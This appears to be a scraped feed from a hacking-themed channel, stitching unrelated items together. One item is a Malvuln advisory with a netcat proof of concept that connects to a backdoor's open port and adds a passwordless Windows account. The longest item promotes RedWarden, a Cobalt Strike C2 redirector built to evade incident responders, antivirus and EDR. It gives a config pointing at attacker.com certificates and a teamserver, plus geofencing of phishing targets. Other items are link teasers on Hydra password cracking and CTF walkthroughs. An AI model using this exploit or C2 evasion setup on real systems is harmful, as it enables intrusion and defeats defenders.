Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wollf.12 Code Execution

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Backdoor.Win32.Wollf.12 malware suffers from a code execution vulnerability.

MD5 | 94150accdd712ab89f24a780484e45fc

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/911e63e28b1d177120cca16eacf3b602.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.12
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7614 and drops an executable named "wrm.exe" that runs with SYSTEM integrity. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.
Type: PE32
MD5: 911e63e28b1d177120cca16eacf3b602
Vuln ID: MVID-2021-0239
Dropped files: wrm.exe
Disclosure: 06/06/2021

Exploit/PoC:
nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.2
Code by wollf, http://www.xfocus.org

[DESKTOP-2C4IWHP@C:\WINDOWS\system32]#DOS
DOS
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Oddz Incentivised Testnet is Now Live on BSC!
https://medium.com/oddz-finance/oddz-incentivised-testnet-is-now-live-on-bsc-4ab87430a140?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Everything You Need To Know About Leaderboard Challenge, Bug Bounty and ODDZ AirdropContinue reading on oddz finance » (https://medium.com/oddz-finance/oddz-incentivised-testnet-is-now-live-on-bsc-4ab87430a140?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The US Must Redefine Critical Infrastructure for the Digital Era

The template being used to manage essential connectivity isn't just outdated, it's actively counter-productive.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
yek ashpaz

https://pdfbookdownload11.blog.ir/
https://pdfbookdownload12.blog.ir/

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
PASSWORD CRACKING WITH HYDRA — PART 1

https://cdn-images-1.medium.com/max/1280/1*Qa7lEjldqA6MguUrPXsLbw.jpeg
Hey, readers!

Continue reading on OWASP VITCC »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
S.H.E.L.L CTF: Fun with tokens

https://cdn-images-1.medium.com/max/1080/0*yDHTeQXFLov7XTm7.png
ผมกลับมาแว้ววว ก่อนหน้านี้ผมได้ลง write-up HTB ไปครั้งนึงแล้วก็ไปยุ่งเรื่องการสอบโปรเจค และฝึกฝนเพิ่มเติมจนไม่ได้กลับมาเขียนเลย ฮ่าๆ…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
PG — BBSCute— Walkthrough (Offensive Security Proving Grounds Play Boxes)

https://cdn-images-1.medium.com/max/662/1*QnVLxbbEnmvuhWOChmfBOw.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
RedWarden - Flexible CobaltStrike Malleable Redirector

https://1.bp.blogspot.com/-MJuuWYu3uNc/YLc3cFWOZmI/AAAAAAAAXuc/FrBsiRyhzqAFIgQbVLV2ZivmjDqkJrZPQCNcBGAsYHQ/w640-h430/RedWarden_1_0.png RedWarden - Flexible CobaltStrike Malleable Redirector(previously known as proxy2's malleable_redirector plugin)

Let's raise the bar in C2 redirectors IR resiliency, shall we?
Red Teaming business has seen several different great ideas on how to combat incident responders and misdirect them while offering resistant C2 redirectors network at the same time.

This work combines many of those great ideas into a one, lightweight utility, mimicking Apache2 in it's roots of being a simple HTTP(S) reverse-proxy.

Combining Malleable C2 profiles understanding, knowledge of bad IP addresses pool and a flexibility of easily adding new inspection and misrouting logic - resulted in having a crafty repellent for IR inspections. https://1.bp.blogspot.com/-e5fddEwmT0U/YLc32AgP4iI/AAAAAAAAXuk/NDkiFHtn-gkTGU0lNYa8iyvJqnqv2nxQgCNcBGAsYHQ/w640-h424/RedWarden_2_1.png Should any invalid inbound packet reach RedWarden - you can redirect, resetor just proxyit away! AbstractThis program acts as a HTTP/HTTPS reverse-proxy with several restrictions imposed upon inbound C2 HTTP requests selecting which packets to direct to the Teamserver and which to drop, similarly to the .htaccess file restrictions mandated in Apache2's mod_rewrite. RedWardenwas created to solve the problem of IR/AV/EDRs/Sandboxes evasion on the C2 redirector layer. It's intended to supersede classical Apache2 + mod_rewrite setups used for that purpose.

Features:

* Malleable C2 Profile parser able to validate inbound HTTP/S requests strictly according to malleable's contract and drop outlaying packets in case of violation (Malleable Profiles 4.0+ with variants covered)
* Ability to unfilter/repair unexpected and unwanted HTTP headers added by interim systems such as proxies and caches (think CloudFlare) in order to conform to a valid Malleable contract.
* Integrated curated massive blacklist of IPv4 pools and ranges known to be associated with IT Security vendors
* Grepable output log entries (in both Apache2 combined access log and custom RedWarden formats) useful to track peer connectivity events/issues
* Ability to query connecting peer's IPv4 address against IP Geolocation/whois information and confront that with predefined regular expressions to rule out peers connecting outside of trusted organizations/countries/cities etc.
* Built-in Replay attacks mitigation enforced by logging accepted requests' MD5 hashsums into locally stored SQLite database and preventing requests previously accepted.
* Allows to define ProxyPass statemtents to pass requests matching specific URL onto other Hosts
* Support for multiple Teamservers
* Support for many reverse-proxying Hosts/redirection sites giving in a randomized order - which lets load-balance traffic or build more versatile infrastructures
* Can repair HTTP packets according to expected malleable contract in case some of the headers were corrupted in traffic
* Sleepless nights spent on troubleshooting "why my Beacon doesn't work over CloudFlare/CDN/Domain Fronting" are over now thanks to detailed verbose HTTP(S) requests/responses logs

The RedWarden takes Malleable C2 profile and teamserver's hostname:porton its input. It then parses supplied malleable profile sections to understand the contract and pass through only those inbound requests that satisfied it while misdirecting others.

Sections such as http-stager, http-get, http-postand their corresponding uris, headers, prepend/append patterns, User-Agent are all used to distinguish between legitimate beacon's request[...]

___________________________
@hacking_Attack
@Hacking_Video

and unrelated Internet noise or IR/AV/EDRs out of bound packets.

The program benefits from the marvelous known bad IP ranges coming from: curi0usJack and the others: https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10

Using an IP addresses blacklisting along with known bad keywords lookup through Reverse-IP DNS queries and HTTP headers inspection, brings the reliability to considerably increase redirector's resiliency to the unauthorized peers wanting to examine attacker infrastructures.

Invalid packets may be misrouted according to three strategies:

* redirect: Simply redirect peer to another websites, such as Rick Roll.
* reset: Kill TCP connection straightaway.
* proxy: Fetch a response from another website, to mimic cloned/hijacked website as closely as possible.

This configuration is mandated in configuration file: #
# What to do with the request originating not conforming to Beacon, whitelisting or
# ProxyPass inclusive statements:
# - 'redirect' it to another host with (HTTP 301),
# - 'reset' a TCP connection with connecting client
# - 'proxy' the request, acting as a reverse-proxy against specified action_url
# (may be dangerous if client fetches something it shouldn't supposed to see!)
#
# Valid values: 'reset', 'redirect', 'proxy'.
#
# Default: redirect
#
drop_action: redirectBelow example shows outcome of redirectto https://googole.com: https://1.bp.blogspot.com/-s-98u3l2sA8/YLc38rF7zmI/AAAAAAAAXuo/yPlKcbb--Y467jHJ_LQ-dDZRjlkV69PfwCNcBGAsYHQ/w640-h328/RedWarden_3_3.png Use wisely, stay safe. RequirementsThis program can run only on Linux systems as it uses fork to spawn multiple processes.

Also, the opensslsystem command is expected to be installed as it is used to generate SSL certificates.

Finally, install all of the Python3 PIP requirements easily with: bash $ sudo pip3 install -r requirements.txtUsageExample usageThe minimal RedWarden's config.yaml configuration file could contain: port:
- 80/http
- 443/https

profile: jquery-c2.3.14.profile

ssl_cacert: /etc/letsencrypt/live/attacker.com/fullchain.pem
ssl_cakey: /etc/letsencrypt/live/attacker.com/privkey.pem

teamserver_url:
- 1.2.3.4:8080

drop_action: resetThen, the program can be launched by giving it a path to the config file: bash$ sudo python3 RedWarden.py -c config.yaml

[INFO] 19:21:42: Loading 1 plugin...
[INFO] 19:21:42: Plugin "malleable_redirector" has been installed.
[INFO] 19:21:42: Preparing SSL certificates and keys for https traffic interception...
[INFO] 19:21:42: Using provided CA key file: ca-cert/ca.key
[INFO] 19:21:42: Using provided CA certificate file: ca-cert/ca.crt
[INFO] 19:21:42: Using provided Certificate key: ca-cert/cert.key
[INFO] 19:21:42: Serving http proxy on: 0.0.0.0, port: 80...
[INFO] 19:21:42: Serving https proxy on: 0.0.0.0, port: 443...
[INFO] 19:21:42: [REQUEST] GET /jquery-3.3.1.min.js
[INFO] 19:21:42: == Valid malleable http-get request inbound.
[INFO] 19:21:42: Plugin redirected request from [code.jquery.com] to [1.2.3.4:8080]
[INFO] 19:21:42: [RESPONSE] HTTP 200 OK, length: 5543
[INFO] 19:21:45: [REQUEST] GET /jquery-3.3.1.min.js
[INFO] 19:21:45: == Valid malleable http-get request inbound.
[INFO] 19:21:45: Plugin redirected request from [code.jquery.com] to [1.2.3.4:8080]
[INFO] 19:21:45: [RESPONSE] HTTP 200 OK, length: 5543
[INFO] 19:21:46: [REQUEST] GET /
[...]
[ERROR] 19:24:46: [DROP, reason:1] inbound User-Agent differs from the one defined in C2 profile.
[...]
[INFO] 19:24:46: [RESPONSE] HTTP 301 Moved Permanently, length: 212
[INFO] 19:24:48: [REQUEST] GET /jquery-3.3.1.min.js
[INFO] 19:24:48: == Valid malleable http-get request inbound.
[INFO] 19:24:48: Plugin redirected request from [code.jquery.com] to [1.2.3.4:8080]
[...]The above output contains a line pointing out that ther[...]

___________________________
@hacking_Attack
@Hacking_Video

e has been an unauthorized, not compliant with our C2 profile inbound request, which got dropped due to incompatible User-Agent string presented: [...]
[DROP, reason:1] inbound User-Agent differs from the one defined in C2 profile.
[...] Use CasesImpose IP Geolocation on your Beacon traffic originatorsYou've done your Pre-Phish and OSINT very well. You now know where your targets live and have some clues where traffic should be originating from, or at least how to detect completely auxiliary traffic. How to impose IP Geolocation on Beacon requests on a redirector?

RedWarden comes at help!

Let's say, you want only to accept traffic originating from Poland, Europe. Your Pre-Phish/OSINT results indicate that:

* 89.64.64.150is a legitimate IP of one of your targets, originating from Poland
* 59.99.140.76whereas this one is not and it reached your systems as a regular Internet noise packet.

You can use RedWarden's utility lib/ipLookupHelper.pyto collect IP Geo metadata about these two addresses: bash$ python3 ipLookupHelper.py

Usage: ./ipLookupHelper.py The former brings: bash$ python3 ipLookupHelper.py 89.64.64.150
[dbg] Following IP Lookup providers will be used: ['ip_api_com', 'ipapi_co']
[.] Lookup of: 89.64.64.150
[dbg] Calling IP Lookup provider: ipapi_co
[dbg] Calling IP Lookup provider: ip_api_com
[dbg] New IP lookup entry cached: 89.64.64.150
[.] Output:
{
"organization": [
"UPC Polska Sp. z o.o.",
"UPC.pl",
"AS6830 Liberty Global B.V."
],
"continent": "Europe",
"continent_code": "EU",
"country": "Poland",
"country_code": "PL",
"ip": "89.64.64.150",
"city": "Warsaw",
"timezone": "Europe/Warsaw",
"fulldata": {
"status": "success",
"country": "Poland",
"countryCode": "PL",
"region": "14",
"regionName": "Mazovia",
"city": "Warsaw",
"zip": "00-202",
"lat": 52.2484,
"lon": 21.0026,
"timezone": "Europe/Warsaw",
"isp": "UPC.pl",
"or g": "UPC Polska Sp. z o.o.",
"as": "AS6830 Liberty Global B.V.",
"query": "89.64.64.150"
},
"reverse_ip": "89-64-64-150.dynamic.chello.pl"
}and the latter gives: bash$ python3 ipLookupHelper.py 59.99.140.76
[dbg] Following IP Lookup providers will be used: ['ip_api_com', 'ipapi_co']
[dbg] Read 1 cached entries from file.
[.] Lookup of: 59.99.140.76
[dbg] Calling IP Lookup provider: ip_api_com
[dbg] New IP lookup entry cached: 59.99.140.76
[.] Output:
{
"organization": [
"",
"BSNL Internet",
"AS9829 National Internet Backbone"
],
"continent": "Asia",
"continent_code": "AS",
"country": "India",
"country_code": "IN",
"ip": "59.99.140.76",
"city": "Palakkad",
"timezone": "Asia/Kolkata",
"fulldata": {
"status": "success",
"country": "India",
"countryCode": "IN",
"region": "KL",
"regionName": "Kerala",
"city": "Palakkad",
"zip": "678001",
"lat": 10.7739,
"lon": 76.6487,
"timezone": "Asia/Kolkata",
"isp": "BSNL Internet",
"org": "",
"as": "AS9829 National Internet Backbone",
"query": "59.99.140.76"
},
"reverse_ip": ""
}Now you see that the former one had "country": "Poland"whereas the latter "country": "India". With that knowledge we are ready to devise our constraints in form of a hefty YAML dictionary: ip_geolocation_requirements:
organization:
continent:
continent_code:
country:
- Poland
- PL
- Polska
country_code:
city:
timezone:Each of that dictionary's entries accept regular expression to be matched upon determined IP Geo metadata of inbound peer's IP address. We use three entries in countryproperty to allow requests having one of specified v[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
RedWarden - Flexible CobaltStrike Malleable Redirector

___________________________
@hacking_Attack
@Hacking_Video

Trending repositories on GitHub today · GitHub
luong-komorebi / Awesome-Linux-Software

A list of awesome applications, software, tools and other materials for Linux distros.

Language: Python
Star: 15,822
Fork: 1,622

___________________________
@hacking_Attack
@Hacking_Video